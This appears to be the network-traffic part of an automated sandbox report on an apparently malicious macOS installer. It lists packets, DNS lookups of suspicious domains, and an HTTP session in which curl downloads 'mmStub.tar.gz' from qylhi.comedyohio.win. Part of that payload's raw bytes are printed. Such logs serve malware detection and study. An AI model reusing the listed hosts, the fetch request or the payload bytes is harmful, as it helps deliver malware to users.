May 11, 2018 09:20:05.722728014 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.723066092 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.723078012 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.723083019 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.726294994 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.726308107 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.726612091 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.726622105 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.726628065 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.735445976 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.735459089 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.735799074 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.735810041 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.735836983 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.735872030 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.735881090 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.736141920 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.736150026 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.736155033 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.749584913 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.749813080 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.750010967 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.750020027 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.750315905 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.750324965 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.750329971 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.757251978 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.757266045 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.757589102 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.757600069 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.757610083 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.757612944 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.757755041 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.764051914 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.764065981 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.764363050 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.764374971 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.764415026 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.764483929 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.764492989 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.764750957 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.764758110 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.764764071 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.779436111 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.779618979 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.788177013 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.788191080 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.788491011 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.788501978 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.788506985 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.790304899 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.790318966 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.790580988 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.790591955 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.790596962 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.802833080 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.802846909 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.803129911 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.803289890 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.803298950 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.803617954 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.803626060 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.803631067 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.815680027 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.815694094 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.815979958 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.815992117 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.815996885 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.816220045 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.816229105 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.816524982 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.816533089 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.816538095 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.820300102 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.820312977 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.820581913 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.820593119 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.820602894 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.820605993 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.820741892 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.831383944 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.831397057 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.831710100 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.831721067 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.831726074 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.841223955 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.841458082 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.841680050 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.841689110 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.841985941 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.841993093 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.841999054 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.850543976 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.850553036 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.850867033 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.850879908 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.850889921 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.850893021 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.851037025 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.855668068 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.855680943 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.855978966 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.855990887 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.855995893 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.868048906 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.868063927 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.868386030 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.868396044 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.868402004 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.868504047 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.868511915 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.868808985 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.868817091 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.868822098 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.868879080 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.868887901 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.869115114 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.869123936 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.869172096 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.872133017 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.872140884 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.872446060 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.872456074 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.872461081 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.881046057 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.881058931 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.881335020 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.913558960 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.913568020 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.913877010 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.948144913 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.948158026 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.948486090 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.948498011 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.948503017 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.948543072 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.948551893 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.948848963 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.948857069 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.948862076 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.948951960 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.948961020 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.949256897 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.949265003 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.949270964 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.966810942 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.966824055 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.967149019 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.967159986 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.967164993 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.978216887 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.978230953 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.978563070 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.978573084 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.978578091 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:06.013741970 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:06.013751030 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:06.014034986 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:06.014529943 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:06.014595985 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:06.014810085 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:10.764520884 CEST	64933	53	192.168.0.50	8.8.8.8
May 11, 2018 09:20:10.924704075 CEST	53	64933	8.8.8.8	192.168.0.50
May 11, 2018 09:20:10.925786018 CEST	49273	80	192.168.0.50	104.239.223.14
May 11, 2018 09:20:10.925831079 CEST	80	49273	104.239.223.14	192.168.0.50
May 11, 2018 09:20:10.926018000 CEST	49273	80	192.168.0.50	104.239.223.14
May 11, 2018 09:20:10.928181887 CEST	49273	80	192.168.0.50	104.239.223.14
May 11, 2018 09:20:10.928210020 CEST	80	49273	104.239.223.14	192.168.0.50
May 11, 2018 09:20:11.254373074 CEST	80	49273	104.239.223.14	192.168.0.50
May 11, 2018 09:20:11.254393101 CEST	80	49273	104.239.223.14	192.168.0.50
May 11, 2018 09:20:11.254700899 CEST	49273	80	192.168.0.50	104.239.223.14
May 11, 2018 09:20:11.302527905 CEST	59249	53	192.168.0.50	8.8.8.8
May 11, 2018 09:20:11.512015104 CEST	53	59249	8.8.8.8	192.168.0.50
May 11, 2018 09:20:11.513266087 CEST	49274	80	192.168.0.50	104.27.171.58
May 11, 2018 09:20:11.513305902 CEST	80	49274	104.27.171.58	192.168.0.50
May 11, 2018 09:20:11.513477087 CEST	49274	80	192.168.0.50	104.27.171.58
May 11, 2018 09:20:11.513995886 CEST	49274	80	192.168.0.50	104.27.171.58
May 11, 2018 09:20:11.514015913 CEST	80	49274	104.27.171.58	192.168.0.50
May 11, 2018 09:20:11.687912941 CEST	80	49274	104.27.171.58	192.168.0.50
May 11, 2018 09:20:11.687928915 CEST	80	49274	104.27.171.58	192.168.0.50
May 11, 2018 09:20:11.687958002 CEST	80	49274	104.27.171.58	192.168.0.50
May 11, 2018 09:20:11.688276052 CEST	49274	80	192.168.0.50	104.27.171.58
May 11, 2018 09:20:11.688303947 CEST	49274	80	192.168.0.50	104.27.171.58
May 11, 2018 09:20:11.690320015 CEST	49274	80	192.168.0.50	104.27.171.58
May 11, 2018 09:20:11.690345049 CEST	80	49274	104.27.171.58	192.168.0.50
May 11, 2018 09:20:11.695588112 CEST	49275	80	192.168.0.50	104.27.171.58
May 11, 2018 09:20:11.695636034 CEST	80	49275	104.27.171.58	192.168.0.50
May 11, 2018 09:20:11.695823908 CEST	49275	80	192.168.0.50	104.27.171.58
May 11, 2018 09:20:11.696358919 CEST	49275	80	192.168.0.50	104.27.171.58
May 11, 2018 09:20:11.696377039 CEST	80	49275	104.27.171.58	192.168.0.50
May 11, 2018 09:20:11.872231960 CEST	80	49275	104.27.171.58	192.168.0.50
May 11, 2018 09:20:11.872246027 CEST	80	49275	104.27.171.58	192.168.0.50
May 11, 2018 09:20:11.872265100 CEST	80	49275	104.27.171.58	192.168.0.50
May 11, 2018 09:20:11.872570038 CEST	49275	80	192.168.0.50	104.27.171.58
May 11, 2018 09:20:11.872600079 CEST	49275	80	192.168.0.50	104.27.171.58
May 11, 2018 09:20:11.873300076 CEST	49275	80	192.168.0.50	104.27.171.58
May 11, 2018 09:20:11.873327971 CEST	80	49275	104.27.171.58	192.168.0.50
May 11, 2018 09:20:11.876400948 CEST	49276	80	192.168.0.50	104.27.171.58
May 11, 2018 09:20:11.876450062 CEST	80	49276	104.27.171.58	192.168.0.50
May 11, 2018 09:20:11.876630068 CEST	49276	80	192.168.0.50	104.27.171.58
May 11, 2018 09:20:11.877022982 CEST	49276	80	192.168.0.50	104.27.171.58
May 11, 2018 09:20:11.877038002 CEST	80	49276	104.27.171.58	192.168.0.50
May 11, 2018 09:20:12.061414957 CEST	80	49276	104.27.171.58	192.168.0.50
May 11, 2018 09:20:12.061430931 CEST	80	49276	104.27.171.58	192.168.0.50
May 11, 2018 09:20:12.061446905 CEST	80	49276	104.27.171.58	192.168.0.50
May 11, 2018 09:20:12.061775923 CEST	49276	80	192.168.0.50	104.27.171.58
May 11, 2018 09:20:12.061796904 CEST	49276	80	192.168.0.50	104.27.171.58
May 11, 2018 09:20:12.062374115 CEST	49276	80	192.168.0.50	104.27.171.58
May 11, 2018 09:20:12.062398911 CEST	80	49276	104.27.171.58	192.168.0.50
May 11, 2018 09:20:12.063767910 CEST	49273	80	192.168.0.50	104.239.223.14
May 11, 2018 09:20:12.063806057 CEST	80	49273	104.239.223.14	192.168.0.50
May 11, 2018 09:20:12.277671099 CEST	80	49273	104.239.223.14	192.168.0.50
May 11, 2018 09:20:12.277879953 CEST	49273	80	192.168.0.50	104.239.223.14
May 11, 2018 09:20:12.313720942 CEST	52290	53	192.168.0.50	8.8.8.8
May 11, 2018 09:20:12.534002066 CEST	53	52290	8.8.8.8	192.168.0.50
May 11, 2018 09:20:12.534919024 CEST	49277	80	192.168.0.50	161.47.20.33
May 11, 2018 09:20:12.534967899 CEST	80	49277	161.47.20.33	192.168.0.50
May 11, 2018 09:20:12.535116911 CEST	49277	80	192.168.0.50	161.47.20.33
May 11, 2018 09:20:12.535553932 CEST	49277	80	192.168.0.50	161.47.20.33
May 11, 2018 09:20:12.535567999 CEST	80	49277	161.47.20.33	192.168.0.50
May 11, 2018 09:20:12.860801935 CEST	80	49277	161.47.20.33	192.168.0.50
May 11, 2018 09:20:12.861005068 CEST	49277	80	192.168.0.50	161.47.20.33
May 11, 2018 09:20:22.475380898 CEST	80	49273	104.239.223.14	192.168.0.50
May 11, 2018 09:20:22.475625038 CEST	49273	80	192.168.0.50	104.239.223.14
May 11, 2018 09:20:22.475698948 CEST	49273	80	192.168.0.50	104.239.223.14
May 11, 2018 09:20:22.475729942 CEST	80	49273	104.239.223.14	192.168.0.50
May 11, 2018 09:20:23.513609886 CEST	80	49277	161.47.20.33	192.168.0.50
May 11, 2018 09:20:23.514055014 CEST	49277	80	192.168.0.50	161.47.20.33
May 11, 2018 09:20:23.514264107 CEST	49277	80	192.168.0.50	161.47.20.33
May 11, 2018 09:20:23.514286995 CEST	80	49277	161.47.20.33	192.168.0.50
May 11, 2018 09:20:25.794260979 CEST	57620	53	192.168.0.50	8.8.8.8
May 11, 2018 09:20:25.926003933 CEST	53	57620	8.8.8.8	192.168.0.50
May 11, 2018 09:21:29.226167917 CEST	53453	53	192.168.0.50	8.8.8.8
May 11, 2018 09:21:29.399605989 CEST	53	53453	8.8.8.8	192.168.0.50

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 11, 2018 09:20:03.363735914 CEST	64790	53	192.168.0.50	8.8.8.8
May 11, 2018 09:20:03.653419018 CEST	53	64790	8.8.8.8	192.168.0.50
May 11, 2018 09:20:10.764520884 CEST	64933	53	192.168.0.50	8.8.8.8
May 11, 2018 09:20:10.924704075 CEST	53	64933	8.8.8.8	192.168.0.50
May 11, 2018 09:20:11.302527905 CEST	59249	53	192.168.0.50	8.8.8.8
May 11, 2018 09:20:11.512015104 CEST	53	59249	8.8.8.8	192.168.0.50
May 11, 2018 09:20:12.313720942 CEST	52290	53	192.168.0.50	8.8.8.8
May 11, 2018 09:20:12.534002066 CEST	53	52290	8.8.8.8	192.168.0.50
May 11, 2018 09:20:25.794260979 CEST	57620	53	192.168.0.50	8.8.8.8
May 11, 2018 09:20:25.926003933 CEST	53	57620	8.8.8.8	192.168.0.50
May 11, 2018 09:21:29.226167917 CEST	53453	53	192.168.0.50	8.8.8.8
May 11, 2018 09:21:29.399605989 CEST	53	53453	8.8.8.8	192.168.0.50

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
May 11, 2018 09:20:03.363735914 CEST	192.168.0.50	8.8.8.8	0x4063	Standard query (0)	qylhi.comedyohio.win	A (IP address)	IN (0x0001)
May 11, 2018 09:20:10.764520884 CEST	192.168.0.50	8.8.8.8	0x1505	Standard query (0)	service.macinstallerinfo.com	A (IP address)	IN (0x0001)
May 11, 2018 09:20:11.302527905 CEST	192.168.0.50	8.8.8.8	0xb541	Standard query (0)	cdn.macresourcescdn.com	A (IP address)	IN (0x0001)
May 11, 2018 09:20:12.313720942 CEST	192.168.0.50	8.8.8.8	0xe1f8	Standard query (0)	events.ponystudent.win	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Replay Code	Name	Address	Type	Class
May 11, 2018 09:20:03.653419018 CEST	8.8.8.8	192.168.0.50	0x4063	No error (0)	qylhi.comedyohio.win	195.176.255.152	A (IP address)	IN (0x0001)
May 11, 2018 09:20:10.924704075 CEST	8.8.8.8	192.168.0.50	0x1505	No error (0)	service.macinstallerinfo.com	104.239.223.14	A (IP address)	IN (0x0001)
May 11, 2018 09:20:11.512015104 CEST	8.8.8.8	192.168.0.50	0xb541	No error (0)	cdn.macresourcescdn.com	104.27.171.58	A (IP address)	IN (0x0001)
May 11, 2018 09:20:12.534002066 CEST	8.8.8.8	192.168.0.50	0xe1f8	No error (0)	events.ponystudent.win	161.47.20.33	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

qylhi.comedyohio.win

service.macinstallerinfo.com

cdn.macresourcescdn.com

events.ponystudent.win

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.0.50	49272	195.176.255.152	80

Timestamp	kBytes transferred	Direction	Data
May 11, 2018 09:20:03.882910967 CEST	0	OUT	GET /sdl/mmStub.tar.gz?ts=1526030402 HTTP/1.1 Host: qylhi.comedyohio.win User-Agent: curl/7.54.0 Accept: /
May 11, 2018 09:20:04.702471972 CEST	3	IN	HTTP/1.1 200 OK Server: nginx/1.6.3 Content-Type: application/octet-stream Content-Length: 283326 Last-Modified: Wed, 04 Apr 2018 15:30:28 GMT ETag: "5ac4ef94-452be" Accept-Ranges: bytes Date: Fri, 11 May 2018 07:20:04 GMT Connection: keep-alive X-N: S Data Raw: 1f 8b 08 00 65 ef c4 5a 00 03 ec 7d 09 7c 13 45 fb f0 ce ec 91 a4 d9 2d db 72 9f 4d af f4 6e d3 f4 3e 38 4a cb 51 8e d2 93 1b 4a da a6 6d 68 9b 94 24 e5 46 76 40 41 05 91 5b 0e 95 5b 4e 41 41 10 e4 10 11 05 11 91 1b 44 40 50 11 50 44 14 14 05 94 6f 66 93 a6 07 a5 fa fe df ff ef fd 7e df ef 7b b3 a4 99 dd 99 79 9e 67 e6 b9 9f dd 84 f0 88 8a 8a 30 93 d9 66 37 94 97 87 55 18 0a 2d b6 70 43 65 65 04 f5 bf f9 d2 e9 74 71 31 31 1a f9 33 d6 f1 a9 d3 47 3b 3e 9d 2f 4d 64 94 3e 36 32 32 36 2e 46 17 a9 d1 45 c6 c4 c5 c4 52 9a 98 ff 55 2a 9e f2 aa c2 4b b7 62 52 0c a3 4d a3 0d 26 db 53 c7 e1 61 c5 c5 8d c0 71 ae c3 f5 f9 ff c8 2b bc 61 fe a7 5a cc 76 a3 d9 6e fb 5f 11 84 7f c6 ff c8 e8 38 7d 74 5c 9c 3e 0a f3 1f b3 3f ea bf fc ff 4f bc fe 8e ff f9 a9 96 22 63 8e a9 c4 6c b0 57 59 8d ff 33 71 f8 97 f9 af d7 47 ff 57 ff ff 33 af bf e3 7f 5f 43 61 bf 9c 7f d3 0a fc cb f6 5f af 8b 89 8c f9 2f ff ff 13 af bf e3 7f b6 d1 66 a9 b2 16 1a ff 1d 4f f0 af f1 5f 87 f9 1f 19 a3 8f fe 2f ff ff 13 af bf e3 7f 78 7e ba b9 d8 12 5e 59 6e b2 d9 ff a7 38 f0 7e c4 46 47 3f 9d ff fa d8 fa fa 1f 19 17 85 ed bf ee 7f 73 a1 4f 7b fd 7f ce 7f 8a 6d a1 a0 20 45 61 3b af e9 97 a3 19 a8 71 be c8 35 4a 85 df 7a fc 7e 06 bf c9 f9 5b ff 0c 64 4a 6e 6e b6 b3 49 66 2c c7 6f b1 de 10 50 73 bd 4d a1 a5 82 c8 5c b9 31 bc dc 60 b3 57 d9 8c 45 45 06 bb d1 37 33 87 0c fc a4 fd e3 41 e4 73 c5 da ef da fe 5b eb fc ef ab c1 d7 df e9 ff bf af fd 7f ab ff 51 38 f6 ab af ff 31 fa c8 ff ea ff 7f e2 95 dc 79 6c 45 b9 66 b4 d1 6a 33 59 cc 1d 7d 22 c3 75 3e 1a a3 b9 d0 52 64 32 97 74 f4 c9 cb ed 1e 16 ef d3 b9 93 5b b2 77 5a bf d4 dc 41 99 dd 34 b2 2c 68 32 f3 ba f6 49 4f d5 f8 84 45 44 a4 10 d5 8d 88 48 cb 4d d3 64 f6 49 cf c9 d5 60 18 11 11 dd 32 7c 34 3e a5 76 7b 65 62 44 c4 98 31 63 9c 0a 8e 55 9d 0c b4 45 64 5a 2d 95 46 ab 7d 5c 1f 0c 2c 0c 4f 08 2f b2 17 f9 60 34 0e e8 75 c8 c1 57 8b 4c 85 f6 4e 6e aa e4 32 e3 b8 4e 5d ab 4c e5 45 d8 5a 95 9a cc c6 7e 39 f2 59 72 04 e9 c0 fd 36 bb 15 93 dd 29 32 2e 2d 52 a7 4f 8e 70 9e 3a 27 a6 76 ef 5a 65 2e 2a 37 a6 19 47 1b cb 2d 95 15 58 bc b3 8d 25 18 4d fd e9 46 f3 d3 a6 76 1b 6b 2c ac b2 1b 0a ca 8d f5 e7 d4 57 a2 a7 41 48 2f b4 98 bb 9b fe 8d f9 45 98 6c 53 b1 c9 68 ad 0f 81 58 d1 27 54 19 ef fc 53 21 61 c5 4e c3 fb 8a 37 c0 60 1d d7 df b1 e3 f5 81 c6 86 eb 9e 36 3f c3 50 f1 3f 5e 45 a6 a1 b0 cc 50 62 cc 1d 57 f9 04 88 94 cc cc 3e 4f 9b 96 53 6a b1 da 9d 94 e6 c8 23 ea cf 8e 0e 8f 79 3a c5 ae 2c b6 fe ac ce f8 f5 d4 49 55 95 95 18 ab b1 28 b3 dc 60 2f b6 58 2b 6c ae d9 06 ab d5 40 1a 2e 38 72 ae 34 b0 36 a4 88 ea 31 75 60 3e 65 b3 a3 71 ec 5b 9f 8c b4 dc 54 4b 45 25 16 98 06 f9 ed 52 2a 79 84 2d bc bc 7c 74 45 78 61 b9 c1 5c 12 1e 99 df 00 ac ea 35 34 a8 35 09 dd 22 a3 63 9e 3e e7 29 44 f7 e8 fb e4 94 9c b4 de 4f d1 cb 6e 91 f1 09 0d 8e 6f 50 9a 88 08 8d 8d d4 85 47 46 3d 39 67 20 36 51 4f cc d0 25 44 35 b0 6a 79 e8 3f 5f 72 9f 9c be 26 b3 a9 a2 aa 22 67 9c cd 6e 7c da ba 31 59 b1 4f ce cc 4b ef 56 6e 24 96 e5 89 e1 f5 c7 66 e4 60 bb 99 6b 35 98 6d 44 bc 72 b0 5d b1 9a ec e3 5c d3 9c 16 cf 35 b6 bc dc 32 c6 96 62 2d 30 d9 ad 58 5b fb 58 0c 45 2e 39 54 25 db ad 55 c6 08 59 dc 6a 1b ca 8c 9c be 06 93 39 c3 54 d0 90 bd 21 5d 03 4c e6 22 cb 13 f6 21 23 27 13 9f 16 9a 2a 0d e5 a9 38 1e b3 d5 9f 29 13 5e 6e 2a 34 d8 e5 5d a9 9e 5c 8d 3b 39 42 36 e1 9d dc fe 6f 3b b6 ff be fe d1 eb ef e2 bf cc b2 12 e2 29 fe 2d 1c 7f 97 ff e9 22 9f c8 ff 74 7a fd 7f e3 bf ff c4 8b f8 5b e2 ff fe 6f d3 f1 df d7 ff 9d d7 3f af ff d5 b8 8c 70 b3 a9 e0 5f c1 d1 a8 fe 47 ea a2 75 91 b1 f5 ea 7f d1 fa b8 e8 ff ea ff 7f e2 55 20 bb 6b 9d ee 34 05 28 48 d1 14 43 b1 14 27 ec 13 de 1f e8 e7 cc c2 06 fa 59 0a 46 1a 0b ed b6 41 7e 06 2b 4e bb f0 e5 5c 3f bb a5 d2 93 02 d3 96 6f f1 a0 b3 29 05 a5 a4 bc 28 5f ca 8f 0a a6 22 a8 1c 2a 97 ca a3 fa 53 03 a8 81 54 11 55 4e 3d 43 4d a6 24 6a 2e 35 8f 5a 4a bd 4a 2d a3 d6 53 1b a8 8d d4 36 6a 37 f5 3e f5 21 75 88 3a 42 7d 4e 1d a7 ce 50 17 a8 2b d4 8f d4 6d ea 27 ea 17 ea 